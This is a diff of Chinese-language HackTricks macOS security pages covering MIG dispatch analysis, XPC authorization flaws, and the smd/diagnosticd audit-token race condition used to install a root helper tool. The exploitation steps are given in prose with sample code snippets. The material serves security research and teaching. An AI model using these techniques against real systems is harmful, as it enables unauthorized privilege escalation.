||||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)可以解析Mach-O二进制文件中的MIG信息,指示消息ID并标识要执行的函数:
|
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)可以解析Mach-O二进制文件中的MIG信息,指示消息ID并标识要执行的函数:
|
||||||
```bash
|
```bash
|
||||||
|
@ -698,7 +440,7 @@ var_18 = arg1;
|
||||||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||||
rax = *(int32_t *)(var_10 + 0x14);
|
rax = *(int32_t *)(var_10 + 0x14);
|
||||||
// 调用sign_extend_64函数,有助于识别该函数
|
// 调用sign_extend_64函数,有助于识别此函数
|
||||||
// 这将在rax中存储需要调用的调用的指针
|
// 这将在rax中存储需要调用的调用的指针
|
||||||
// 检查地址0x100004040的使用(函数地址数组)
|
// 检查地址0x100004040的使用(函数地址数组)
|
||||||
// 0x1f4 = 500(起始ID)
|
// 0x1f4 = 500(起始ID)
|
||||||
|
@ -771,7 +513,7 @@ if (CPU_FLAGS & NE) {
|
||||||
r8 = 0x1;
|
r8 = 0x1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// 与前一个版本相同的if else
|
// 与上一个版本相同的if else
|
||||||
// 检查地址0x100004040的使用(函数地址数组)
|
// 检查地址0x100004040的使用(函数地址数组)
|
||||||
<strong> if ((r8 & 0x1) == 0x0) {
|
<strong> if ((r8 & 0x1) == 0x0) {
|
||||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||||
|
@ -803,12 +545,12 @@ return r0;
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
实际上,如果你转到函数**`0x100004000`**,你会发现**`routine_descriptor`**结构体的数组,结构体的第一个元素是函数实现的地址,**结构体占用0x28字节**,所以每0x28字节(从字节0开始)你可以得到8字节,那就是将要调用的**函数的地址**:
|
实际上,如果你转到函数**`0x100004000`**,你会找到**`routine_descriptor`**结构体的数组,结构体的第一个元素是函数实现的地址,**结构体占用0x28字节**,所以每0x28字节(从字节0开始)你可以得到8字节,那就是将要调用的**函数的地址**:
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
可以使用[**这个Hopper脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取这些数据。
|
可以使用[**这个Hopper脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取这些数据。
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||||
|
|
||||||
|
|
|
@ -4,23 +4,23 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中**宣传你的公司**吗?或者你想获得**PEASS 的最新版本或下载 PDF 格式的 HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注**我在 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## XPC 授权
|
## XPC 授权
|
||||||
|
|
||||||
苹果还提出了另一种方法来验证连接的进程是否具有调用公开的 XPC 方法的**权限**。
|
苹果还提出了另一种方法来验证连接的进程是否具有**调用公开的 XPC 方法的权限**。
|
||||||
|
|
||||||
当应用程序需要以**特权用户**的身份执行操作时,通常不会将应用程序作为特权用户运行,而是将 HelperTool 作为 XPC 服务以 root 用户的身份安装,以便应用程序可以调用该服务执行这些操作。然而,调用服务的应用程序应具有足够的授权。
|
当应用程序需要**以特权用户身份执行操作**时,通常不会将应用程序作为特权用户运行,而是将 HelperTool 作为 XPC 服务以 root 用户身份安装,应用程序可以从中调用以执行这些操作。但是,调用服务的应用程序应具有足够的授权。
|
||||||
|
|
||||||
### ShouldAcceptNewConnection 总是 YES
|
### ShouldAcceptNewConnection 总是 YES
|
||||||
|
|
||||||
在 [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) 中可以找到一个示例。在 `App/AppDelegate.m` 中,它尝试**连接**到 **HelperTool**。而在 `HelperTool/HelperTool.m` 中,函数 **`shouldAcceptNewConnection`** **不会检查**之前提到的任何要求。它将始终返回 YES:
|
在 [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) 中可以找到一个示例。在 `App/AppDelegate.m` 中,它尝试**连接**到**HelperTool**。而在 `HelperTool/HelperTool.m` 中,函数**`shouldAcceptNewConnection`**不会检查之前提到的任何要求。它将始终返回 YES:
|
||||||
```objectivec
|
```objectivec
|
||||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||||
|
@ -190,7 +190,7 @@ block(authRightName, authRightDefault, authRightDesc);
|
||||||
|
|
||||||
### 权限验证
|
### 权限验证
|
||||||
|
|
||||||
在`HelperTool/HelperTool.m`中,函数**`readLicenseKeyAuthorization`**检查调用者是否被授权**执行此方法**,调用函数**`checkAuthorization`**。此函数将检查调用进程发送的**authData**是否具有**正确的格式**,然后将检查**获取权限所需的内容**以调用特定方法。如果一切顺利,**返回的`error`将为`nil`**:
|
在`HelperTool/HelperTool.m`中,函数**`readLicenseKeyAuthorization`**检查调用者是否被授权**执行此方法**,调用函数**`checkAuthorization`**。此函数将检查由调用进程发送的**authData**是否具有**正确的格式**,然后将检查**获取权限所需的内容**以调用特定方法。如果一切顺利,**返回的`error`将为`nil`**:
|
||||||
```objectivec
|
```objectivec
|
||||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||||
{
|
{
|
||||||
|
@ -261,13 +261,10 @@ security authorizationdb read com.apple.safaridriver.allow
|
||||||
1. **'authenticate-user': 'false'**
|
1. **'authenticate-user': 'false'**
|
||||||
* 这是最直接的键。如果设置为`false`,表示用户无需提供身份验证即可获得此权限。
|
* 这是最直接的键。如果设置为`false`,表示用户无需提供身份验证即可获得此权限。
|
||||||
* 这与下面的两个键之一结合使用,或者指示用户必须属于的组。
|
* 这与下面的两个键之一结合使用,或者指示用户必须属于的组。
|
||||||
|
|
||||||
2. **'allow-root': 'true'**
|
2. **'allow-root': 'true'**
|
||||||
* 如果用户作为具有提升权限的root用户操作,并且此键设置为`true`,则root用户可能无需进一步身份验证即可获得此权限。然而,通常情况下,要达到root用户状态已经需要进行身份验证,所以对于大多数用户来说,这不是一个“无需身份验证”的情况。
|
* 如果用户作为具有提升权限的root用户操作,并且此键设置为`true`,则root用户可能无需进一步身份验证即可获得此权限。然而,通常情况下,要达到root用户状态已经需要进行身份验证,所以对于大多数用户来说,这不是一个“无需身份验证”的情况。
|
||||||
|
|
||||||
3. **'session-owner': 'true'**
|
3. **'session-owner': 'true'**
|
||||||
* 如果设置为`true`,会话的所有者(当前登录的用户)将自动获得此权限。如果用户已经登录,则可能绕过其他身份验证。
|
* 如果设置为`true`,会话的所有者(当前登录的用户)将自动获得此权限。如果用户已经登录,则可能绕过其他身份验证。
|
||||||
|
|
||||||
4. **'shared': 'true'**
|
4. **'shared': 'true'**
|
||||||
* 此键不会在没有身份验证的情况下授予权限。相反,如果设置为`true`,意味着一旦权限得到验证,它可以在多个进程之间共享,而无需每个进程重新进行身份验证。但是,初始授予权限仍然需要进行身份验证,除非与其他键(如`'authenticate-user': 'false'`)结合使用。
|
* 此键不会在没有身份验证的情况下授予权限。相反,如果设置为`true`,意味着一旦权限得到验证,它可以在多个进程之间共享,而无需每个进程重新进行身份验证。但是,初始授予权限仍然需要进行身份验证,除非与其他键(如`'authenticate-user': 'false'`)结合使用。
|
||||||
|
|
||||||
|
@ -289,7 +286,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
||||||
|
|
||||||
如果你找到函数:**`[HelperTool checkAuthorization:command:]`**,那么该进程可能正在使用之前提到的授权模式:
|
如果你找到函数:**`[HelperTool checkAuthorization:command:]`**,那么该进程可能正在使用之前提到的授权模式:
|
||||||
|
|
||||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果这个函数调用了`AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree`等函数,那么它正在使用[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)。
|
如果这个函数调用了`AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree`等函数,那么它正在使用[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)。
|
||||||
|
|
||||||
|
|
|
@ -58,8 +58,8 @@ Mach消息通过一个_mach端口_发送,这是一个内置在mach内核中的
|
||||||
* Exploit尝试**调用特权操作**。在一个RC svc **A**中,**检查**此**操作**的授权,而**svc B覆盖了审计令牌**(使得Exploit可以调用特权操作)。
|
* Exploit尝试**调用特权操作**。在一个RC svc **A**中,**检查**此**操作**的授权,而**svc B覆盖了审计令牌**(使得Exploit可以调用特权操作)。
|
||||||
2. 变体2:
|
2. 变体2:
|
||||||
* 服务**B**可以调用服务**A**中用户无法调用的**特权功能**。
|
* 服务**B**可以调用服务**A**中用户无法调用的**特权功能**。
|
||||||
* Exploit连接到**服务A**,**服务A**向其发送一个**期望回复**的消息,使用特定的**回复端口**。
|
* Exploit连接到**服务A**,**发送**一个**期望回复**的消息给Exploit的**特定回复端口**。
|
||||||
* Exploit向**服务B**发送一条消息,传递**该回复端口**。
|
* Exploit向服务**B**发送一条消息,传递**该回复端口**。
|
||||||
* 当服务**B回复**时,它将消息**发送给服务A**,而**Exploit**则发送一条不同的消息给服务**A**,试图**达到特权功能**,并期望服务**B的回复**在恰当的时刻覆盖审计令牌(竞争条件)。
|
* 当服务**B回复**时,它将消息**发送给服务A**,而**Exploit**则发送一条不同的消息给服务**A**,试图**达到特权功能**,并期望服务**B的回复**在恰当的时刻覆盖审计令牌(竞争条件)。
|
||||||
## 变种1:在事件处理程序之外调用xpc_connection_get_audit_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
## 变种1:在事件处理程序之外调用xpc_connection_get_audit_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||||
|
|
||||||
|
@ -71,24 +71,24 @@ Mach消息通过一个_mach端口_发送,这是一个内置在mach内核中的
|
||||||
* 对于此授权检查,**A**通过异步方式获取审核令牌,例如通过从**`dispatch_async`**调用`xpc_connection_get_audit_token`。
|
* 对于此授权检查,**A**通过异步方式获取审核令牌,例如通过从**`dispatch_async`**调用`xpc_connection_get_audit_token`。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
在这种情况下,攻击者可以触发**竞争条件**,制作一个**利用程序**,在**B向A发送消息**的同时**多次要求A执行操作**。当RC**成功**时,**B**的**审核令牌**将在**处理**我们的**利用程序**的同时被复制到内存中,使其能够访问只有B才能请求的特权操作。
|
在这种情况下,攻击者可以触发**竞争条件**,制作一个**利用程序**,在**B向A发送消息**的同时**多次要求A执行操作**。当RC(Race Condition)**成功**时,**B的审核令牌**将在**处理**我们的**利用程序**的A期间被复制到内存中,从而使其能够访问只有B才能请求的特权操作。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
这发生在**A**作为`smd`和**B**作为`diagnosticd`的情况下。函数[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)可以用于安装新的特权助手工具(作为**root**)。如果以**root**身份运行的进程与**smd**联系,将不会执行其他检查。
|
这种情况发生在**A**作为`smd`,**B**作为`diagnosticd`的情况下。可以使用[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)函数从smb安装新的特权助手工具(作为**root**)。如果以**root**身份运行的进程与**smd**联系,将不会执行其他检查。
|
||||||
|
|
||||||
因此,服务**B**是`diagnosticd`,因为它以**root**身份运行,并且可以用于**监视**进程,因此一旦监视开始,它将**每秒发送多个消息**。
|
因此,服务**B**是`diagnosticd`,因为它以**root**身份运行,并且可以用于**监视**进程,因此一旦开始监视,它将**每秒发送多个消息**。
|
||||||
|
|
||||||
进行攻击的步骤:
|
进行攻击的步骤:
|
||||||
|
|
||||||
1. 我们按照正常的XPC协议与**`smd`**建立**连接**。
|
1. 我们按照正常的XPC协议与`smd`建立**连接**。
|
||||||
2. 然后,我们与**`diagnosticd`**建立**连接**,但我们不是生成两个新的mach端口并发送它们,而是用我们对**与`smd`的连接**的发送权利的副本替换客户端端口发送权利。
|
2. 然后,我们与`diagnosticd`建立**连接**,但我们不是生成两个新的mach端口并发送它们,而是用我们对与`smd`的连接的**发送权利的副本**替换客户端端口的发送权利。
|
||||||
3. 这意味着我们可以向`diagnosticd`发送XPC消息,但是`diagnosticd`发送的任何消息都会发送到`smd`。
|
3. 这意味着我们可以向`diagnosticd`发送XPC消息,但是`diagnosticd`发送的任何消息都会发送到`smd`。
|
||||||
* 对于`smd`,我们和`diagnosticd`的消息都出现在同一个连接上。
|
* 对于`smd`,我们和`diagnosticd`的消息都出现在同一个连接上。
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
4. 我们要求**`diagnosticd`**开始监视我们(或任何活动的)进程,并且我们向**`smd`发送1004个例行消息**(以安装特权工具)。
|
4. 我们要求`diagnosticd`**开始监视**我们(或任何活动的)进程,并且我们向`smd`**垃圾邮件例程1004消息**(以安装特权工具)。
|
||||||
5. 这会创建一个需要在`handle_bless`中命中非常特定窗口的竞争条件。我们需要调用`xpc_connection_get_pid`返回我们自己进程的PID,因为特权助手工具位于我们的应用程序包中。但是,`connection_is_authorized`函数内部的`xpc_connection_get_audit_token`调用必须使用`diagnosticd`的审核令牌。
|
5. 这会创建一个需要命中`handle_bless`中非常特定窗口的竞争条件。我们需要调用`xpc_connection_get_pid`返回我们自己进程的PID,因为特权助手工具位于我们的应用程序包中。但是,`connection_is_authorized`函数内部的`xpc_connection_get_audit_token`调用必须使用`diganosticd`的审核令牌。
|
||||||
|
|
||||||
## 变种2:回复转发
|
## 变种2:回复转发
|
||||||
|
|
||||||
|
@ -101,25 +101,25 @@ Mach消息通过一个_mach端口_发送,这是一个内置在mach内核中的
|
||||||
|
|
||||||
对于这种情况,我们需要:
|
对于这种情况,我们需要:
|
||||||
|
|
||||||
* 与之前一样,两个我们都可以连接的mach服务_A_和_B_。
|
* 与之前一样,有两个我们都可以连接的mach服务A和B。
|
||||||
* 再次,_A_必须对_B_可以通过的特定操作进行授权检查(但我们的应用程序不能)。
|
* 再次,A必须对B可以通过的特定操作进行授权检查(但我们的应用程序不能)。
|
||||||
* _A_向我们发送一条期望回复的消息。
|
* A向我们发送一个期望回复的消息。
|
||||||
* 我们可以向_B_发送一条它将回复的消息。
|
* 我们可以向B发送一个它将回复的消息。
|
||||||
|
|
||||||
我们等待_A_向我们发送一条期望回复的消息(1),而不是回复,我们获取回复端口并将其用于我们发送给_B_的消息(2)。然后,我们发送一条使用被禁止的操作的消息,并希望它与_B_的回复同时到达(3)。
|
我们等待A向我们发送一个期望回复的消息(1),而不是回复,我们获取回复端口并将其用于我们发送给B的消息(2)。然后,我们发送一个使用被禁止的操作的消息,并希望它与B的回复同时到达(3)。
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## 发现问题
|
## 发现问题
|
||||||
|
|
||||||
我们花了很长时间来寻找其他实例,但由于条件的限制,无论是静态搜索还是动态搜索都很困难。为了搜索异步调用`xpc_connection_get_audit_token`,我们使用Frida来钩住此函数,以检查回溯是否包含`_xpc_connection_mach_event`(这意味着它不是从事件处理程序中调用的)。但是,这只能找到我们当前钩住的进程中的调用和活动使用的操作。在IDA/Ghidra中分析所有可达的mach服务非常耗时,特别是当调用涉及dyld共享缓存时。我们尝试编写脚本来查找从使用`dispatch_async`提交的块可达的调用`xpc_connection_get_audit_token`的调用,但是解析块和传递到dyld共享缓存中的调用使得这变得困难。在花了一段时间后,我们决定最好提交我们已经有的内容。
|
我们花了很长时间来寻找其他实例,但由于条件的限制,无论是静态搜索还是动态搜索都很困难。为了搜索异步调用`xpc_connection_get_audit_token`,我们使用Frida来挂钩此函数,以检查回溯是否包含`_xpc_connection_mach_event`(这意味着它不是从事件处理程序调用的)。但是,这只能找到我们当前挂钩的进程中的调用和活动使用的操作。在IDA/Ghidra中分析所有可达的mach服务非常耗时,特别是当调用涉及dyld共享缓存时。我们尝试编写脚本来查找从使用`dispatch_async`提交的块可达的调用`xpc_connection_get_audit_token`,但是解析块和传递到dyld共享缓存中的调用使得这变得困难。在花了一段时间后,我们决定最好提交我们已经有的内容。
|
||||||
## 修复方法 <a href="#the-fix" id="the-fix"></a>
|
## 修复方法 <a href="#the-fix" id="the-fix"></a>
|
||||||
|
|
||||||
最后,我们报告了`smd`中的一般问题和特定问题。苹果只在`smd`中进行了修复,将调用`xpc_connection_get_audit_token`替换为`xpc_dictionary_get_audit_token`。
|
最后,我们报告了`smd`中的一般问题和特定问题。苹果只在`smd`中进行了修复,将`xpc_connection_get_audit_token`的调用替换为`xpc_dictionary_get_audit_token`。
|
||||||
|
|
||||||
函数`xpc_dictionary_get_audit_token`从接收到此XPC消息的mach消息中复制审核令牌,这意味着它不容易受到攻击。然而,就像`xpc_dictionary_get_audit_token`一样,这也不是公共API的一部分。对于更高级的`NSXPCConnection` API,没有明确的方法来获取当前消息的审核令牌,因为它将所有消息抽象为方法调用。
|
函数`xpc_dictionary_get_audit_token`从接收到此XPC消息的mach消息中复制审核令牌,这意味着它不容易受到攻击。然而,就像`xpc_dictionary_get_audit_token`一样,这也不是公共API的一部分。对于更高级的`NSXPCConnection` API,没有明确的方法来获取当前消息的审核令牌,因为它将所有消息抽象为方法调用。
|
||||||
|
|
||||||
我们不清楚为什么苹果没有应用更一般的修复方法,例如丢弃与连接的保存的审核令牌不匹配的消息。可能存在某些情况下,进程的审核令牌合法地发生变化,但连接应该保持打开状态(例如,调用`setuid`会更改UID字段),但是PID或PID版本不同的更改不太可能是有意的。
|
我们不清楚为什么苹果没有应用更一般的修复方法,例如丢弃与连接的保存的审核令牌不匹配的消息。可能存在某些情况下,进程的审核令牌合法地发生变化,但连接应该保持打开状态(例如,调用`setuid`会更改UID字段),但是不同的PID或PID版本的更改不太可能是有意的。
|
||||||
|
|
||||||
无论如何,这个问题在iOS 17和macOS 14中仍然存在,所以如果你想去寻找它,祝你好运!
|
无论如何,这个问题在iOS 17和macOS 14中仍然存在,所以如果你想去寻找它,祝你好运!
|
||||||
|
|
||||||
|
@ -127,10 +127,10 @@ Mach消息通过一个_mach端口_发送,这是一个内置在mach内核中的
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -61,15 +61,15 @@
|
||||||
|
|
||||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||||
|
|
||||||
TODO:我不知道这个权限允许做什么
|
TODO: 我不知道这个权限允许做什么
|
||||||
|
|
||||||
### `com.apple.private.apfs.revert-to-snapshot`
|
### `com.apple.private.apfs.revert-to-snapshot`
|
||||||
|
|
||||||
TODO:在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到,这可以用于在重启后更新受SSV保护的内容。如果你知道如何发送PR,请告诉我!
|
TODO: 在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到,这可以用于在重启后更新受SSV保护的内容。如果你知道如何发送PR,请告诉我!
|
||||||
|
|
||||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||||
|
|
||||||
TODO:在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到,这可以用于在重启后更新受SSV保护的内容。如果你知道如何发送PR,请告诉我!
|
TODO: 在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到,这可以用于在重启后更新受SSV保护的内容。如果你知道如何发送PR,请告诉我!
|
||||||
### `keychain-access-groups`
|
### `keychain-access-groups`
|
||||||
|
|
||||||
此权限列出了应用程序可以访问的**钥匙串**组:
|
此权限列出了应用程序可以访问的**钥匙串**组:
|
||||||
|
@ -85,7 +85,7 @@ TODO:在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Up
|
||||||
```
|
```
|
||||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||||
|
|
||||||
赋予**完全磁盘访问权限**,是TCC中最高的权限之一。
|
赋予**完全磁盘访问权限**,是TCC中最高权限之一。
|
||||||
|
|
||||||
### **`kTCCServiceAppleEvents`**
|
### **`kTCCServiceAppleEvents`**
|
||||||
|
|
||||||
|
@ -99,7 +99,7 @@ TODO:在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Up
|
||||||
|
|
||||||
允许修改应用程序包(app.app内部)中的文件,默认情况下是**不允许的**。
|
允许修改应用程序包(app.app内部)中的文件,默认情况下是**不允许的**。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
